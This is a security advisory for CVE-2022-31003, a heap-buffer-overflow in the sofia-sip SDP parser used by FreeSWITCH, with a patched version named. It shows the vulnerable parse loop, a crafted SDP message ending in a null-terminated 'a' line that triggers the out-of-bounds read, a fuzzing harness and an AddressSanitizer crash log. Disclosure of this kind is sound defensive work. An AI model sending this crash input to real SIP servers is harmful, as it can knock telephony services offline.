

# sdp\_parse Heap-buffer-overflow

**High** andywork published GHSA-8w5j-6g2j-pxcp on May 31

## Package

sofia-sip (C)

## Affected versions

<= 1.13.7

## Patched versions

1.13.8

## Description

### Summary

### Description

when parsing each line of a sdp message, take `a\0` (the last line) as an example, `rest = record + 2` will access the memory behind `\0`, and it will cause oob.

```
static void parse_descs(sdp_parser_t *p,
                        char *record,
                        char *message,
                        sdp_media_t **medias)
{
    ....
    for (;
        record && p->pr_ok;
        record = next(&message, CRLF, strip)) {
        char field = record[0];

        rest = record + 2; rest += strspn(rest, strip);

        if (record[1] == '=') switch (field) {
            ...
        }
    }
}
```

### Impact

An attacker can send a message with evil sdp to FreeSWITCH, causing crash(or even more serious, such as RCE).

## How to reproduce the issue

---

\0 termination instead = or \n resulting in out-of-bound access in `strspn`, the craft message looks like the following case(without `\r \n`)

```
v=0
o=fa 289527 27 IN IP4 ifm
s=SDP
c=IN IP4 ift
t=0 0
m=image 4 udptl t38
a\x00
```

### Harness

```
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#include <sys/stat.h>
#include <sys/types.h>

#include <sofia-sip/su_types.h>
#include <sofia-sip/su_string.h>
#include <sofia-sip/sdp.h>
#include <sofia-sip/su_tag.h>
#include <sofia-sip/su_tag_io.h>
#include <sofia-sip/sdp_tag.h>

// clang sdp_harness.c /home/xxxx/sofia-sip/libsofia-sip-ua/.libs/libsofia-sip-ua.a -I
../sofia-sip/libsofia-sip-ua/su/ -I ../sofia-sip/libsofia-sip-ua/sdp/ -L ../sofia-
sip/libsofia-sip-ua/.libs/ -fsanitize=address -o sdp_harness
int main(int argc, char ** argv){
    int fd;
    int rc;
    int err = 0;
    struct stat st;
    sdp_parser_t *parser;
    if (argc != 2) {
        puts("ARG GG");
        return 1;
    }
    if (access(argv[1], R_OK) != 0){
        puts("INFILE GG");
        return 1;
    }
```

```

    }
    stat(argv[1], &st);
    char * data = (char*)calloc(st.st_size + 0x10, 1);
    fd = open(argv[1], O_RDONLY);
    rc = read(fd, data, st.st_size);
    if (rc != st.st_size){
        puts("RDFILE GG");
        return 1;
    }
    su_home_t *home = su_home_create();
    su_home_check(home);
    parser = sdp_parse(home, data, strlen(data), sdp_f_config);
    sdp_parser_free(parser);
    su_home_check(home);
    su_home_unref(home);
    free(data);
    return 0;
}

```

## Crash report

```

=====
==3188703==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61100000135 at pc
0x000000435de2 bp 0x7ffe1326f970 sp 0x7ffe1326f110
READ of size 1 at 0x61100000135 thread T0
    #0 0x435de1 in strspn /build/llvm-toolchain-7-jqDfnF/llvm-toolchain-7-
7.0.1/projects/compiler-
rt/lib/asan/./sanitizer_common/sanitizer_common_interceptors.inc:720:5
    #1 0x4f9ae8 in parse_descs /home/xxxx/sofia-sip/libsofia-sip-ua/sdp/sdp_parse.c:1766:32
    #2 0x4f9ae8 in parse_message /home/xxxx/sofia-sip/libsofia-sip-ua/sdp/sdp_parse.c:474
    #3 0x4f9ae8 in sdp_parse /home/xxxx/sofia-sip/libsofia-sip-ua/sdp/sdp_parse.c:184
    #4 0x4f4726 in main /home/xxxx/HackSIP3/sdp_harness.c:47:11
    #5 0x7fcf2b24a2e0 in __libc_start_main (/lib/x86_64-linux-gnu/[libc.so]
(http://libc.so/).6+0x202e0)
    #6 0x41d3d9 in _start (/home/xxxx/HackSIP3/sdp_harness+0x41d3d9)

```

0x61100000135 is located 0 bytes to the right of 245-byte region  
[0x61100000040,0x61100000135)

allocated by thread T0 here:

```

    #0 0x4c542a in calloc /build/llvm-toolchain-7-jqDfnF/llvm-toolchain-7-
7.0.1/projects/compiler-rt/lib/asan/[asan_malloc_linux.cc:155]
(http://asan_malloc_linux.cc:155/):3
    #1 0x5097b3 in sub_alloc /home/xxxx/sofia-sip/libsofia-sip-ua/su/su_alloc.c:498:12

```

SUMMARY: AddressSanitizer: heap-buffer-overflow /build/llvm-toolchain-7-jqDfnF/llvm-  
toolchain-7-7.0.1/projects/compiler-

rt/lib/asan/./sanitizer\_common/sanitizer\_common\_interceptors.inc:720:5 in strspn

Shadow bytes around the buggy address:

```

0x0c227fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff8000: fafa fafa fafa fafa 00 00 00 00 00 00 00 00
0x0c227fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

```

```
=>0x0c227fff8020: 00 00 00 00 00 00[05]fafafafafafafafa
0x0c227fff8030: fafafafafafafafafafafafafafafafafa
0x0c227fff8040: fafafafafafafafafafafafafafafafafa
0x0c227fff8050: fafafafafafafafafafafafafafafafafa
0x0c227fff8060: fafafafafafafafafafafafafafafafafa
0x0c227fff8070: fafafafafafafafafafafafafafafafa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable:      00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:  fa
Freed heap region:  fd
Stack left redzone:  f1
Stack mid redzone:   f2
Stack right redzone: f3
Stack after return:  f5
Stack use after scope: f8
Global redzone:      f9
Global init order:   f6
Poisoned by user:    f7
Container overflow:   fc
Array cookie:         ac
Intra object redzone: bb
ASan internal:        fe
Left alloca redzone:  ca
Right alloca redzone: cb
Shadow gap:           cc
==3188703==ABORTING
```

## Severity

High

## CVE ID

CVE-2022-31003

## Weaknesses

CWE-122

CWE-787

## Credits



Cossack9989